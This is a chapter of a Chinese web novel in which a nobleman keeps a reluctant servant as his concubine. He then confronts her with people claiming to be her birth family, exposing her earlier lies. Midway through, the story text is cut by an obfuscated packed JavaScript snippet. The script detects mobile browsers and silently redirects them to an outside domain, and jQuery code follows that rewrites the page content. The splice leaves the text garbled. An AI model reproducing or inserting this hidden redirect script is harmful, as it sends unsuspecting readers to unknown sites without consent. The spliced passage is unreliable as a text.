27. 027

“怎么瞪着我不说话?”


见她迟迟没有反应,薛恒将她抱得更紧了些,“在想什么呢?”


肌肤黏腻,腰腿酸软,喉咙喑哑,云舒哪哪都不舒服,挣扎了一下,却又重重跌回薛恒的怀里,枕在他的心口上。


他的心剧烈跳动着,炙热,有力。那是云舒此生都不愿触及的地方,忙抬起头躲开,却被薛恒狠狠压了回去。


“别乱动。”他嗓音慵懒的命令道,“就这样躺一会儿。”


云舒身体僵硬的和他抗争了一会儿,便妥协了。


她才在他强势下妥协了一次又一次,何必事后逞能,惹他笑话。


见云舒乖觉地躺在他胸口不动,薛恒这才满意地笑笑,闭住眼一下一下地摸着她顺滑的头发,“你可想清楚了?”


云舒湿润润的眼睫颤了颤,“世子要奴婢想清楚什么?”


她装糊涂,薛恒便也不把话说破,只道:“以后在我面前不要自称为奴婢,你不再是奴婢。”


云舒暗自冷笑。


不是奴婢是什么?之前她在床外伺候,如今在床上伺候,都是被薛恒召之即来挥之即去的玩意罢了。


她有心争辩,奈何没有力气,且薛恒定然会怫然大怒,便闭上眼道:“我累了。”


“累了就好好休息。”薛恒将她放在枕头上,又替她掖好被子,接着穿上中衣翻身下床,“要不要叫文妈妈进来伺候?”


云舒摇摇头,不愿再说什么,沉沉睡了过去。


后半夜,薛恒在书房里忙碌,云舒昏昏沉沉睡到天亮。


晨起沐浴更衣,梳妆打扮,陪着薛恒一同用早膳。


薛恒已然换上了一件暮云灰彩晕锦直裰。这衣服布料上乘讲究,工艺复杂,在阳光的照射下光彩熠熠,十分耀目,衬得薛恒越发地眉眼如画,俊美出众,仪表堂堂。


见云舒走了进来,他展颜一笑,道:“过来用膳。”


云舒低眉顺眼地坐到了薛恒的身边。


她穿着水红色芍药纹齐胸襦裙,臂间缠着柔软顺滑的披帛,头发挽成垂云髻,只戴着一对珍珠掩鬓作点缀。


睡眼稀松,眉宇间愁云不展,带着几分楚楚可人的疲态。见状,薛恒便亲手盛了碗燕窝粥给她,“怎么,没睡好?”


云舒低着头不答话。


她统共就睡了不到两个时辰,天一亮就被文妈妈拽起来换衣服,梳头发。她不想把自己打扮得花枝招展,可文妈妈并不理会她的意愿,日日给她穿戴得像个祸世妖姬一样。


“昨夜风大,奴婢睡得不安稳,所以有些困乏。”沉默片刻,云舒淡淡道,“世子莫要见怪。”


薛恒握了握她软绵绵的手,道:“好了,快用膳吧,用完了再去睡一会儿。”


“嗯。”


当下也没有更好的选择,云舒便顺着薛恒的意,拿起了牙著。


乌木边花梨心圆桌上摆放着各类精致可口的早膳,她却没有一点胃口,味同嚼蜡地随便用了一点,便去伺候薛恒。


薛恒吃的也不多,不过挑着自己平日里爱吃的,和云舒主动夹给他的用了些。肃然饭毕,汐月立刻端了茶水进来,文妈妈也将一碗黑漆漆的汤药放在了云舒面前。


薛恒呷了口茶,盯着药碗问:“这是什么?”


“世子,这是避子汤。”文妈妈道。


薛恒神色一冷,“拿下去。”


文妈妈一脸为难,“世子,这是咱们府里的规矩。”


“我说拿下去。”薛恒越发不愉,“你听不懂我的话?”


“奴婢不敢,奴婢这就将避子汤收走。”


文妈妈便要撤下避子汤,云舒见状赶忙劝阻:“把药留下。”


薛恒斜睨着云舒,不满显而易见。


云舒深怕他心存疑虑,立刻解释:“世子,既是府上的规矩,那便按照规矩来办。否则,云舒心中难安。”


薛恒用审视的目光打量了她片刻,笑笑:“说你性子倔强,偏又这样懂事起来。这东西伤身子,你不知道吗?”


云舒心道它便是毒药她也要喝,昨晚她累狠了,没有及时用避子汤,今日定要补上。只可气这文妈妈当着薛恒的面将此汤端上来,让她不得不面临薛恒的诘问。


这薛恒对她是真情实意的关心也好,别有用心的试探也罢,都无所谓,云舒且一本正经地说:“世子,云舒已经招惹了许多非议,岂敢再坏府里的规矩。再说那药又不是需要一直喝的。”


最后一句话触动了薛恒的心弦,他面色稍霁,摆摆手,让文妈妈退下。


这便是默许了意思,云舒忍着心头的冷笑,端起药碗,一饮而尽。


薛恒在一旁若有所思地看着,待她放下碗,及时递了一盘蜜煎樱桃过去,云舒苦的舌尖都在发颤,便用银签挑了一颗,送进嘴里。


她一点点慢慢嚼着,等待甜蜜将苦涩吞噬,薛恒全程默默陪着她,等她将蜜煎樱桃咽下去了才放下茶盏,道:“我看你早膳用的不多,是不合胃口么?”


云舒暗道他今日也不休沐,怎么还不去衙门,话这么多。“没有,就是不饿而已。”她扮着乖巧道,“我看世子吃的也不多。”


薛恒轻笑一声,道:“我记得你说过,你是廖洲人,那里的人似乎嗜辣。”


或许吧,云舒对此也不清楚。什么廖洲,什么云儿海,都是她随口诌来诓骗他的,他还记得,她却都快要忘了。只强打着精神和薛恒虚与委蛇,“是吗?时间太久了,我都记不得了。”


“记不得没关系。”薛恒道,“以后在家人的陪伴下,有的是机会品尝正宗的家乡美味。”


他的话莫名其妙,云舒硬是没回过味来,愣着神问他,“世子,你说什么?”


薛恒抬了下手,“带他们进来。”


云舒望着薛恒面上淡淡的笑容,想着他刚刚那番话,忽然间紧张起来。


不等她有所准备,左英已然将两男一女带到了她面前。


他们俱是寻常百姓的打扮,甚至有些寒酸,见了云舒俱是愣了愣,随后跪地行礼:“草民董大海见过薛大人,给大人请安。”


“民妇徐梅拜见薛大人。”


“贱民董竟给薛大人请安。”


薛恒:“都起来吧。”


“谢大人。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608844|171013||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


董竟忙搀着薛大海夫妇站了起来,三人你看看我,我看看你,最终将目光聚焦在云舒身上。


云舒同样在打量着他们三个。


若她猜的不错,眼前这三位便是原身的亲人:秃顶方脸,跛着一只脚的大叔是她爹,矮瘦圆脸的妇人是她娘,黑面高壮的男子则是她的兄弟。


家人团聚,云舒却一点也笑不出来。


一来,她并不是原身,二来,他们和她描绘出的画像,以及说出的名字完全不一样,三来……


这便是薛恒留住她的理由,家人京城相聚,何必再自请离府,四处寻亲。


当然,即便没有找到原身的父母,薛恒也不会放过她。只是如此一来她被迫承了薛恒的情,少不得要假意感激一番,好让薛恒相信她真的是他们的女儿。


还有一点,她先前说得谎话通通露了馅,如何在薛恒面前圆回来,是个麻烦事。


这么多问题一并找上了她,她如何还能笑得出来。


两厢沉默,看客薛恒终于看不下去了,他扫了云舒一眼,“怎么?都不认识了?”


云舒目光闪了闪,“你们是……”


“明姐儿,我们是你的爹娘啊!”早就红了眼眶的徐梅扑到云舒膝头上,哭天抢地便是一通哀嚎,“我苦命的孩儿啊!爹娘还以为这辈子再也见不到你了啊!爹娘日日想,夜夜念,就盼着和你重逢的这一天啊!”


董大海也开始抹眼泪,他一边哭一边自责,“都是爹娘不好,没有看护好你。这下好了,咱们一家人终于团聚了。”


董竟又是扶徐梅,又是搀薛大海,一人忙得不可开交,“姨父,姨母,你们不要这么激动,有什么话坐下来和表妹慢慢说。”


云舒微微皱眉,无动于衷地望着眼前忽然间冒出来的家人。


薛恒在一旁笑容幽幽,“是否分别太久,所以才忘了亲生父母的长相,名字?”


说着将那对夫妇打量了打量,“他们的模样,和画像上一点都不一样。”


云舒喉咙一阵阵发紧,好一会儿才挤出几个字,“奴婢也说不清,奴婢的脑子糊涂的很,很多记忆都模模糊糊的。且和父母分开太久,只大约记得他们年轻时的样子。”


薛恒一哂,“原来如此。”


云舒攥着衣袖,未语。


“难得一家团圆,你们好好聊聊。”说话间,薛恒豁然起身,又弯下腰对她道,“我晚些回来看你。”


闻得薛恒要走,云舒忙站起来欠了欠身,“世子慢走。”


薛恒淡笑,看了那三人一眼,负手离去。


府门外,左英正立在马车旁等候。


见薛恒来了,他打开车门,毕恭毕敬道:“世子当心脚下。”


薛恒整着袖口立在轿凳前,“我刚刚听她的爹娘唤她作明儿。”


“是,奴才都调查过了,董明儿才是沉碧的真名。”左英道,“且他们一家也并非是廖州人氏,而是千里之外的滇州。”


薛恒低头一哂,“竟没有一样是真的,有意思。”


他拂袖登上马车,“去查清楚。”


“是!”